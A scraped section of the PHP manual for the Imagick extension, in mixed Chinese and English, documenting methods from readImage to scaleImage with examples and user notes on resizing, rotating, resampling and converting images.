            $im = new Imagick();
            $im->setResolution(80,80);
            $im->readimage($uploadfile."[0]");
            $im->setImageFormat('jpeg');
            $image_name = "save_as_name.jpg";
            $imageprops = $im->getImageGeometry();
            if ($imageprops['width'] <= 175 && $imageprops['height'] <= 300) {
                // don't upscale
             } else {
                 $im->resizeImage(175,300, imagick::FILTER_LANCZOS, 0.9, true);
             }

            $im->writeImage($uploaddir .$image_name);
            $im->clear();
            $im->destroy();
holdoffhunger at gmail dot com 10-Jan-2013 03:50
What is the difference between ReadImage and ReadImageFile?  Based by looking at the pages, you would think that they behave the exact same, except in their arguments: ReadImage takes a string containing the folder location of the file, and ReadImageFile takes a handle pointing to the file location.  Initially, the first looks far more tempting, since you don't have to worry about fopen and fclose commands.

But, there is a problem with the ReadImage function!  With an imagemagick object whose data was created from this function, I could scale, change the colors, and perform artistic effects upon the object, without any problems at all, but then there was a problem with saving: it seemed to be keep me stuck to the image format of the original image (in this case, a ".jpg", but it may be different elsewhere).  The functions setImageFormat and setFormat, programmed line after line, provided no effect to changing the format to png, bmp, or gif.  When the only line of code I changed was ReadImage to ReadImageFile, the problem disappears entirely.

Some sample code to demonstrate (using PHP Version 5.2.17).  Input Filename: test.jpg.  Output Filenames: test_result_bad.bmp, test_result_bad.png, test_result_good.bmp, test_result_good.png.  The resultant filesizes should be enough to convince you that all bad files are merely duplicate jpgs...

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Image Location
        // ------------------------------

    $image_file_location = "test.jpg";

        // Create Objects
        // ------------------------------

    $imagick_type_bad = new Imagick();
    $imagick_type_good = new Imagick();

        // Grab Data - BAD METHOD
        // ------------------------------

    $imagick_type_bad->readImage($image_file_location);

        // Grab Data - GOOD METHOD
        // ------------------------------

    $file_handle_for_viewing_image = fopen($image_file_location, 'a+');

    $imagick_type_good->readImageFile($file_handle_for_viewing_image);

    fclose($file_handle_for_viewing_image);

        // Save File - BAD DATA
        // ------------------------------

    $file_handle_for_saving_bad_bmp = fopen("test_result_bad.bmp", 'a+');

    $imagick_type_bad_bmp = clone $imagick_type_bad;
    $imagick_type_bad_bmp->setImageFormat("bmp");
    $imagick_type_bad_bmp->setFormat("bmp");
    $imagick_type_bad_bmp->writeImageFile($file_handle_for_saving_bad_bmp);

    fclose($file_handle_for_saving_bad_bmp);

    $file_handle_for_saving_bad_png = fopen("test_result_bad.png", 'a+');

    $imagick_type_bad_png = clone $imagick_type_bad;
    $imagick_type_bad_png->setImageFormat("png");
    $imagick_type_bad_png->setFormat("png");
    $imagick_type_bad_png->writeImageFile($file_handle_for_saving_bad_png);

    fclose($file_handle_for_saving_bad_png);

        // Save File - Good DATA
        // ------------------------------

    $file_handle_for_saving_good_bmp = fopen("test_result_good.bmp", 'a+');

    $imagick_type_good_bmp = clone $imagick_type_good;
    $imagick_type_good_bmp->setImageFormat("bmp");
    $imagick_type_good_bmp->setFormat("bmp");
    $imagick_type_good_bmp->writeImageFile($file_handle_for_saving_good_bmp);

    fclose($file_handle_for_saving_good_bmp);

    $file_handle_for_saving_good_png = fopen("test_result_good.png", 'a+');

    $imagick_type_good_png = clone $imagick_type_good;
    $imagick_type_good_png->setImageFormat("png");
    $imagick_type_good_png->setFormat("png");
    $imagick_type_good_png->writeImageFile($file_handle_for_saving_good_png);

    fclose($file_handle_for_saving_good_png);

?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:43
Use this to convert all pages of a PDF to JPG:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
$imagick->writeImages('converted.jpg', false);
?>

If you need better quality, try adding $imagick->setResolution(150, 150); before reading the file!

If you experience transparency problems when converting PDF to JPEG (black background), try flattening your file:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf[0]');
$imagick = $imagick->flattenImages();
$imagick->writeFile('pageone.jpg');
?>

In order to read pages from a PDF-file use [PAGENUMBER] after the filename (pages start from zero!).

Example: Read page #1 from test.pdf

<?php
$imagick = new Imagick();
$imagick->readImage('test.pdf[0]');
$imagick->writeImage('page_one.jpg');
?>


从二进制字符串里读取图片

  • ? Imagick::readImage
  • Imagick::readImageFile ?
  • PHP Manual
  • Imagick
  • 从二进制字符串里读取图片

Imagick::readImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::readImageBlob — 从二进制字符串里读取图片

说明

public Imagick::readImageBlob(string $image, string $filename = ?): bool

从二进制字符串里读取图片

参数

image

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::readImageBlob()

<?php
function readImageBlob() {
$base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAAD
NCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5c
cllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEK
gCAQBVDLuv+V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ
0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGho
aGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S+ofFC6x
v3ZpxJiywakzbvd9r3RWPS9I2+MWk0+kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0
NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhD
Q0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQ
AAAAAElFTkSuQmCC";

$imageBlob = base64_decode($base64);

$imagick = new Imagick();
$imagick->readImageBlob($imageBlob);

header("Content-Type: image/png");
echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Reads image from open filehandle

  • ? Imagick::readImageBlob
  • Imagick::readimages ?
  • PHP Manual
  • Imagick
  • Reads image from open filehandle

Imagick::readImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::readImageFile — Reads image from open filehandle

说明

public Imagick::readImageFile(resource $filehandle, string $fileName = null): bool

Reads image from open filehandle

参数

filehandle

fileName

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

quickshiftin at gmail dot com 20-Nov-2014 07:15
The second parameter will update the result of getFilename() if set. Otherwise the result of getFilename() will retain its original value, prior to calling readImageFile().
ben dot james at acknowledgement dot co dot uk 26-Dec-2008 01:00
An example of reading an image file from a URL, using a handle returned by fopen():

<?php
$handle = fopen('http://example.com/foo.jpg', 'rb');
$img = new Imagick();
$img->readImageFile($handle);
$img->resizeImage(128, 128, 0, 0);
$img->writeImage('images/foo.jpg');
?>


Reads image from an array of filenames

  • ? Imagick::readImageFile
  • Imagick::recolorImage ?
  • PHP Manual
  • Imagick
  • Reads image from an array of filenames

Imagick::readimages

(PECL imagick 2, PECL imagick 3)

Imagick::readimages — Reads image from an array of filenames

说明

public Imagick::readImages(array $filenames): bool

Reads image from an array of filenames. All the images are held in a single Imagick object.

参数

filenames

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Recolors image

  • ? Imagick::readimages
  • Imagick::reduceNoiseImage ?
  • PHP Manual
  • Imagick
  • Recolors image

Imagick::recolorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::recolorImage — Recolors image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::recolorImage(array $matrix): bool

Translate, scale, shear, or rotate image colors. This method supports variable sized matrices but normally 5x5 matrix is used for RGBA and 6x6 is used for CMYK. The last row should contain the normalized values. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

matrix

The matrix containing the color values

返回值

成功时返回 true。

示例

Example #1 Imagick::recolorImage()

<?php
function recolorImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$remapColor = [ 1, 0, 0,
0, 0, 1,
0, 1, 0,];

//$remapColor = [
// 1.438, -0.122, -0.016, 0, 0, -0.03,
// -0.062, 1.378, -0.016, 0, 0, 0.05,
// -0.062, -0.122, 1.483, 0, 0, -0.02,
//];

@$imagick->recolorImage($remapColor);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::displayImage() - Displays an image

User Contributed Notes

softmixt at gmail dot com 02-May-2013 11:59
Simple example :

<?php

$image = new Imagick('test.jpg');

$CMYK_color_model = array(0,100,0,0);

$image->recolorImage($CMYK_color_model) ;

header('Content-type: image/jpg');

echo $image
?>


Smooths the contours of an image

  • ? Imagick::recolorImage
  • Imagick::remapImage ?
  • PHP Manual
  • Imagick
  • Smooths the contours of an image

Imagick::reduceNoiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::reduceNoiseImage — Smooths the contours of an image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::reduceNoiseImage(float $radius): bool

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Imagick::reduceNoiseImage() selects a suitable radius for you.

参数

radius

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::reduceNoiseImage()

<?php
function reduceNoiseImage($imagePath, $reduceNoise) {
$imagick = new \Imagick(realpath($imagePath));
@$imagick->reduceNoiseImage($reduceNoise);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Remaps image colors

  • ? Imagick::reduceNoiseImage
  • Imagick::removeImage ?
  • PHP Manual
  • Imagick
  • Remaps image colors

Imagick::remapImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::remapImage — Remaps image colors

说明

public Imagick::remapImage(Imagick $replacement, int $DITHER): bool

Replaces colors an image with those defined by replacement. The colors are replaced with the closest possible color. 此方法在Imagick基于ImageMagick 6.4.5以上版本编译时可用。

参数

replacement

An Imagick object containing the replacement colors

DITHER

Refer to this list of dither method constants

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Removes an image from the image list

  • ? Imagick::remapImage
  • Imagick::removeImageProfile ?
  • PHP Manual
  • Imagick
  • Removes an image from the image list

Imagick::removeImage

(PECL imagick 2, PECL imagick 3)

Imagick::removeImage — Removes an image from the image list

说明

public Imagick::removeImage(): bool

Removes an image from the image list.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Removes the named image profile and returns it

  • ? Imagick::removeImage
  • Imagick::render ?
  • PHP Manual
  • Imagick
  • Removes the named image profile and returns it

Imagick::removeImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::removeImageProfile — Removes the named image profile and returns it

说明

public Imagick::removeImageProfile(string $name): string

Removes the named image profile and returns it.

参数

name

返回值

Returns a string containing the profile of the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Renders all preceding drawing commands

  • ? Imagick::removeImageProfile
  • Imagick::resampleImage ?
  • PHP Manual
  • Imagick
  • Renders all preceding drawing commands

Imagick::render

(PECL imagick 2, PECL imagick 3)

Imagick::render — Renders all preceding drawing commands

说明

public Imagick::render(): bool

Renders all preceding drawing commands.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Resample image to desired resolution

  • ? Imagick::render
  • Imagick::resetImagePage ?
  • PHP Manual
  • Imagick
  • Resample image to desired resolution

Imagick::resampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::resampleImage — Resample image to desired resolution

说明

public Imagick::resampleImage(
float $x_resolution,
float $y_resolution,
int $filter,
float $blur
): bool

Resample image to desired resolution.

参数

x_resolution

y_resolution

filter

blur

返回值

成功时返回 true。

示例

Example #1 Imagick::resampleImage()

<?php
function resampleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->resampleImage(200, 200, \Imagick::FILTER_LANCZOS, 1);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simon 01-Dec-2015 12:13
Please not that I had extremely high CPU usage using this function on Ubuntu linux 15.10. Switching to the resizeImage function fixed the problem.
bleighty at dvidshub dot net 22-Nov-2013 02:53
Please note that blur of 1 should not affect the image if I'm understanding correctly from this page:
http://www.php.net/manual/en/imagick.resizeimage.php
anagai at yahoo dot com 02-Dec-2011 12:14
Lets say you want to reduce the resolution of uploaded images for the web.

The following will load a image at whatever resolution and resample it down to 72 dpi and save as a different file.

The dpi for setImageResolution() and resampleImage() should be whatever dpi your resampling too.

<?php
$image = new Imagick();
$image->readImage('image.jpg');
$image->setImageResolution(72,72);
$image->resampleImage(72,72,imagick::FILTER_UNDEFINED,0);
$image->writeImage('image72.jpg');
?>


Reset image page

  • ? Imagick::resampleImage
  • Imagick::resizeImage ?
  • PHP Manual
  • Imagick
  • Reset image page

Imagick::resetImagePage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::resetImagePage — Reset image page

说明

public Imagick::resetImagePage(string $page): bool

The page definition as a string. The string is in format WxH+x+y. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

page

The page definition. For example 7168x5147+0+0

返回值

成功时返回 true。

User Contributed Notes

Roman T. 16-Oct-2012 05:45
This function seems to do the same thing as photoshop feture convas size, you set size of convas and position of your image's top left corner (x,y) inside that convas.


Scales an image

  • ? Imagick::resetImagePage
  • Imagick::rollImage ?
  • PHP Manual
  • Imagick
  • Scales an image

Imagick::resizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::resizeImage — Scales an image

说明

public Imagick::resizeImage(
int $columns,
int $rows,
int $filter,
float $blur,
bool $bestfit = false,
bool $legacy = false
): bool

Scales an image to the desired dimensions with a filter.

Note: 参数 bestfit 的特性在 Imagick 3.0.0 中已改变。在此版本以前，当目标尺寸设为 400x400 时，原尺寸为 200x150 的图像将不会被改变。自 Imagick 3.0.0 起，源图像将会被放大到 400x300 因为这将更好的适合目标尺寸。当使用参数 bestfit 时，必须同时给出宽度和高度。

参数

columns

Width of the image

rows

Height of the image

filter

Refer to the list of filter constants.

blur

The blur factor where > 1 is blurry, < 1 is sharp.

bestfit

Optional fit parameter.

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

示例

Example #1 Imagick::resizeImage()

<?php
function resizeImage($imagePath, $width, $height, $filterType, $blur, $bestFit, $cropZoom) {
//The blur factor where > 1 is blurry, < 1 is sharp.
$imagick = new \Imagick(realpath($imagePath));

$imagick->resizeImage($width, $height, $filterType, $blur, $bestFit);

$cropWidth = $imagick->getImageWidth();
$cropHeight = $imagick->getImageHeight();

if ($cropZoom) {
$newWidth = $cropWidth / 2;
$newHeight = $cropHeight / 2;

$imagick->cropimage(
$newWidth,
$newHeight,
($cropWidth - $newWidth) / 2,
($cropHeight - $newHeight) / 2
);

$imagick->scaleimage(
$imagick->getImageWidth() * 4,
$imagick->getImageHeight() * 4
);
}

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

phper at krzysiu dot net 02-Jun-2016 12:41
Some size, image and filter and blur combinations causes artifacts or even make image completely scrambled. As far, as I see, it happens with blur values smaller than 0.25 (sometimes less) and goes worse to the point of 0 - black image. Sometimes only some values gives artifacts, like Hanning with my test image: 0.0 blur is fine, 0.1 produces artefacts.

Affected filters are e.g. Catrom, sinc, cubic, quadratic, while unaffected are e.g. Lanczos and Hanning. The problem seems to be the domain of the filter algorithms, not IMagick implementation. This image shows three filters: http://i.imgur.com/HcdwoUS.jpg

Sometimes test image could look fine, but other not, so if you are using affected filters, the 0.5 value should be safe.

This test script takes example image (you can download and use http://i.imgur.com/KsTJpFr.jpg which is affected) and creates resized images in the same directory for every filter and one of four blur values, with naming like "test.jpg.sinc.0.1.jpg" for "test.jpg" input.

<?php
    $imgPath = 'imgtest/test.jpg'; // set your image file
    $testBlurs = [0, 0.1, 0.2, 0.5]; // test these blur values
    $im = new IMagick();
    $im->readImage($imgPath);

    foreach ((new ReflectionClass('IMagick'))->getConstants() as $n => $f) {
        if (strncmp($n, 'FILTER_', 7) === 0) { // get available IMagick filters
            $filterName = strtolower(substr($n, 7)); // extract filter name from constant
            foreach ($testBlurs as $blur) {
                $imSize = clone $im;
                $imSize->resizeImage(500, 500, $f, $blur, true);
                $imSize->writeImage(sprintf("%s-%s-%.1f.jpg", $imgPath, $filterName, $blur));
                $imSize->destroy();
            }
        }
    }

?>
Spitfires 04-Mar-2012 09:39
To avoid upscaling when using the "bestfit" param, check the image dimensions before resizing:

<?php
    $image = new Imagick( $filename );
    $imageprops = $image->getImageGeometry();
    if ($imageprops['width'] <= 200 && $imageprops['height'] <= 200) {
        // don't upscale
    } else {
        $image->resizeImage(200,200, imagick::FILTER_LANCZOS, 0.9, true);
    }
?>
Spitfires 04-Mar-2012 09:27
The changelog comment

  "2.1.0 Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling."

is poorly structured and therefore IMO misleading.  Yes for proportional scaling you pass 0 as either parameter... however this is *not* true if you use the optional fit param.  When bestfit == true you must specify a *non-zero* value for both columns and rows.  Note it WILL still scale proportionally e.g.

   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)

will resize a 1000x750 image to 200x150

So for proportional resizing:
without "bestfit"
   Imagick::resizeImage ( 200, 0,  imagick::FILTER_LANCZOS, 1)

with "bestfit"
   Imagick::resizeImage ( 200, 200,  imagick::FILTER_LANCZOS, 1, TRUE)
jdhawk at gmail dot com 15-Apr-2011 10:37
In our linux environment, using resizeImage with any filter produced extremely high CPU Utilization (in the range of 40-50%) while doing batch resizing.

We switched to scaleImage, which produces similar results to FILTER_BOX, and CPU Utilization dropped to 2-3%.

Using XHProf to profile the two batch jobs showed amazing decreases in CPU Time, so if you're doing a lot of picture resizing, it might be beneficial to use scaleImage instead of resizeImage, as it seems to be much much more efficient.
dennis at gofolo dot com 08-Nov-2009 06:32
Having to do alot of resizing, i needed to know the speeds of the different resize filters.
This was how long it took to resize a 5906x5906 JPEG image to 1181x1181.

FILTER_POINT took: 0.334532976151 seconds
FILTER_BOX took: 0.777871131897 seconds
FILTER_TRIANGLE took: 1.3695909977 seconds
FILTER_HERMITE took: 1.35866093636 seconds
FILTER_HANNING took: 4.88722896576 seconds
FILTER_HAMMING took: 4.88665103912 seconds
FILTER_BLACKMAN took: 4.89026689529 seconds
FILTER_GAUSSIAN took: 1.93553304672 seconds
FILTER_QUADRATIC took: 1.93322920799 seconds
FILTER_CUBIC took: 2.58396601677 seconds
FILTER_CATROM took: 2.58508896828 seconds
FILTER_MITCHELL took: 2.58368492126 seconds
FILTER_LANCZOS took: 3.74232912064 seconds
FILTER_BESSEL took: 4.03305602074 seconds
FILTER_SINC took: 4.90098690987 seconds

I ended up choosing CATROM as it has a very similar result to LANCZOS, but is significantly faster.
andrabr at gmail dot com 24-Aug-2007 04:08
blur:  > 1 is blurry, < 1 is sharp

To create a nice thumbnail (LANCZOS is the slowest filter):

<?php

$thumb = new Imagick();
$thumb->readImage('myimage.gif');    $thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');
$thumb->clear();
$thumb->destroy();

?>

Or, a shorter version of the same:

<?php

$thumb = new Imagick('myimage.gif');

$thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');

$thumb->destroy();

?>


Offsets an image

  • ? Imagick::resizeImage
  • Imagick::rotateImage ?
  • PHP Manual
  • Imagick
  • Offsets an image

Imagick::rollImage

(PECL imagick 2, PECL imagick 3)

Imagick::rollImage — Offsets an image

说明

public Imagick::rollImage(int $x, int $y): bool

Offsets an image as defined by x and y.

参数

x

The X offset.

y

The Y offset.

返回值

成功时返回 true。

示例

Example #1 Imagick::rollImage()

<?php
function rollImage($imagePath, $rollX, $rollY) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rollimage($rollX, $rollY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

simonjjarrett at gmail dot com 24-Mar-2020 02:12
This function will make the image wrap around from bottom to top or side to side, hence "roll". If you want to just offset an image without the wrap-around, use Imagick::extentImage instead.


Rotates an image

  • ? Imagick::rollImage
  • Imagick::rotationalBlurImage ?
  • PHP Manual
  • Imagick
  • Rotates an image

Imagick::rotateImage

(PECL imagick 2, PECL imagick 3)

Imagick::rotateImage — Rotates an image

说明

public Imagick::rotateImage(mixed $background, float $degrees): bool

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

参数

background

The background color

degrees

Rotation angle, in degrees. The rotation angle is interpreted as the number of degrees to rotate the image clockwise.

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::rotateImage()

<?php
function rotateImage($imagePath, $angle, $color) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rotateimage($color, $angle);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

gleb dot deykalo at gmail dot com 10-Jun-2016 12:59
Some transformations including Imagick ::rotateImage() may change "image page" -- working area inside the image you work on.

Be careful with future modifications afterwards because the image page would be different from new sizes of the image.

For example, if you do Imagic::cropImage() after rotation, you need to set image page properly, otherwise your crop would be performed relating to wrong coordinates (depending on rotation angle, resulting image size may vary).

<?php
$Image = new Imagick($sourceImagePath);

$transparent = '#00000000';
$Image->rotateImage(new \ImagickPixel(), 45); // This makes resulting image bigger

// Set page to be of the full size of new image, starting at top left corner (0, 0)
$Image->setImagePage($Image->getImageWidth(), $Image->getImageHeight(), 0, 0);

$Image->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
?>
Anonymous 17-Apr-2016 10:43
The degrees for imagick and gd is difference!
GD > rotate 90 means counter clockwise.
Imagick > rotate 90 means clockwise.

GD 90 = Imagick 270 or Imagick 90 = GD 270.

Use this function.

<?php
function calculateCounterClockwise($value)
{
    if ($value == 0 || $value == 180) {
        return $value;
    }
    if ($value < 0 || $value > 360) {
        $value = 90;
    }

    $total_degree = 360;
    $output = intval($total_degree-$value);
    return $output;
}// calculateCounterClockwise

echo '1 = '.calculateCounterClockwise(1).'<br>';
echo '90 = '.calculateCounterClockwise(90).'<br>';
echo '270 = '.calculateCounterClockwise(270).'<br>';
echo '359 = '.calculateCounterClockwise(359).'<br>';
echo '360 = '.calculateCounterClockwise(360).'<br>';
?>

test results:
1 = 359
90 = 270
270 = 90
359 = 1
360 = 0
AlexG 01-Oct-2012 03:56
Transparent

<?php $im->rotateImage(new ImagickPixel('#00000000'), 75); ?>
Baptiste VALTHIER 29-Mar-2011 01:05
You can rotate an jpg image by -13.55° into a transparent png image with :

<?php
$imagick = new Imagick();
$imagick->readImage('my.jpg');
$imagick->rotateImage(new ImagickPixel('none'), -13.55);
$imagick->writeImage('my_rotated.png');
$imagick->clear();
$imagick->destroy();
?>
wjsams at gmail dot com 22-Nov-2008 09:49
If you want to rotate an image by a certain degree you can do this:

<?php
header('content-type: image/jpeg');
$imagick = new Imagick();
$imagick->readImage('castle.jpg');
$imagick->rotateImage(new ImagickPixel(), 90);
print $imagick->getImage();
?>


Rotational blurs an image

  • ? Imagick::rotateImage
  • Imagick::roundCorners ?
  • PHP Manual
  • Imagick
  • Rotational blurs an image

Imagick::rotationalBlurImage

(PECL imagick 3 >= 3.3.0)

Imagick::rotationalBlurImage — Rotational blurs an image

说明

public Imagick::rotationalBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool

Rotational blurs an image.

参数

angle

The angle to apply the blur over.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 Imagick::rotationalBlurImage()

<?php
function rotationalBlurImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->rotationalBlurImage(3);
$imagick->rotationalBlurImage(5);
$imagick->rotationalBlurImage(7);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Rounds image corners

  • ? Imagick::rotationalBlurImage
  • Imagick::sampleImage ?
  • PHP Manual
  • Imagick
  • Rounds image corners

Imagick::roundCorners

(PECL imagick 2, PECL imagick 3)

Imagick::roundCorners — Rounds image corners

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::roundCorners(
float $x_rounding,
float $y_rounding,
float $stroke_width = 10,
float $displace = 5,
float $size_correction = -6
): bool

Rounds image corners. The first two parameters control the amount of rounding and the three last parameters can be used to fine-tune the rounding process. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。 此方法在 Imagick 基于 ImageMagick 7.0.0 或以上版本编译时不可用。

参数

x_rounding

x rounding

y_rounding

y rounding

stroke_width

stroke width

displace

image displace

size_correction

size correction

返回值

成功时返回 true。

示例

Example #1 Using Imagick::roundCorners():

Rounds the image corners

<?php

$image = new Imagick();
$image->newPseudoImage(100, 100, "magick:rose");
$image->setImageFormat("png");

$image->roundCorners(5,3);
$image->writeImage("rounded.png");
?>

User Contributed Notes

ar2rsoft at gmail dot com 26-Aug-2019 10:05
Alternative solution:
// example values
$width = 250;
$height = 250;
$cornerRadius = 10;

// create mask image
$mask = new Imagick();
$mask->newImage($width, $height, new ImagickPixel('transparent'), 'png');
// create the rounded rectangle
$shape = new ImagickDraw();
$shape->setFillColor(new ImagickPixel('black'));
$shape->roundRectangle(0, 0, $width, $height, $cornerRadius, $cornerRadius);
// draw the rectangle
$mask->drawImage($shape);
// apply mask
$image->compositeImage($mask, Imagick::COMPOSITE_DSTIN, 0, 0);

I found solution here:
https://github.com/Imagick/imagick/issues/213#issuecomment-385928740
mmehdibalouchi at gmail dot com 11-Oct-2017 11:50
Is this method deprecated?
what can we do instead ?


Scales an image with pixel sampling

  • ? Imagick::roundCorners
  • Imagick::scaleImage ?
  • PHP Manual
  • Imagick
  • Scales an image with pixel sampling

Imagick::sampleImage

(PECL imagick 2, PECL imagick 3)

Imagick::sampleImage — Scales an image with pixel sampling

说明

public Imagick::sampleImage(int $columns, int $rows): bool

Scales an image to the desired dimensions with pixel sampling. Unlike other scaling methods, this method does not introduce any additional color into the scaled image.

参数

columns

rows

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Scales the size of an image

  • ? Imagick::sampleImage
  • Imagick::segmentImage ?
  • PHP Manual
  • Imagick
  • Scales the size of an image

Imagick::scaleImage

(PECL imagick 2, PECL imagick 3)

Imagick::scaleImage — Scales the size of an image

说明

public Imagick::scaleImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

Note: 参数 bestfit 的特性在 Imagick 3.0.0 中已改变。在此版本以前，当目标尺寸设为 400x400 时，原尺寸为 200x150 的图像将不会被改变。自 Imagick 3.0.0 起，源图像将会被放大到 400x300 因为这将更好的适合目标尺寸。当使用参数 bestfit 时，必须同时给出宽度和高度。

参数

columns

rows

bestfit

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

示例

Example #1 Imagick::scaleImage()

<?php
function scaleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->scaleImage(150, 150, true);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

agamemnus at flyingsoft dot pw 15-Mar-2014 03:34
Warning: this will blur your edges in possibly unexpected ways. For better control, use resizeImage, instead.
clickconvert at gmail dot com 08-Nov-2012 09:50
Need to resize portrait and landscape images (and convert to 72ppi)? These will fit an area of 800x600 without distorting, no matter how tall or wide.

<?php
    $img = new Imagick($img_loc.$file);
    $img->setImageResolution(72,72);
    $img->resampleImage(72,72,imagick::FILTER_UNDEFINED,1);
    $img->scaleImage(800,0);
    $d = $img->getImageGeometry();
    $h = $d['height'];
    if($h > 600) {
    $img->scaleImage(0,600);
    $img->writeImage($resized_loc.$file);
    } else {
    $img->writeImage($resized_loc.$file);
    }
    $img->destroy();
?>
peter at icb dot at 22-Sep-2009 05:25
If using the fit-parameter this function sometimes seems not to work when one of the two sizes (width or height) is the same size as the image has. For example:

<?php
$image = new Imagick('800x480.jpg');
$image->scaleImage(640, 480, true);

// $image is still 800x480
?>

You have to calculate the new sizes yourself and use false for $fit in this case.
octave at web dot de 23-Jul-2009 02:57
When using the "fit = true" option, the image will only scale down, but never scale up:

<?php
$im = new Imagick('1600x1200.jpg');

$im->scaleImage(2000, 1500, true); // => 1600x1200

$im->scaleImage(1000, 500, true); // => 666x500
?>
benford at bluhelix dot com 16-Jun-2009 08:38
If anyone finds "The other parameter will be calculated if 0 is passed as either param. " to be a bit confusing, it means approximately this:

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(300, 0);
?>

This scales the image such that it is now 300 pixels wide, and automatically calculates the height to keep the image at the same aspect ratio.

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(0, 300);
?>

Similarly, this example scales the image to make it 300 pixels tall, and the method automatically recalculates the image's height to maintain the aspect ratio.
vincent dot hoen at gmail dot com 02-Aug-2007 06:37
Here is an easy way to resize an animated gif :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->scaleImage($width, $height);
}


Segments an image

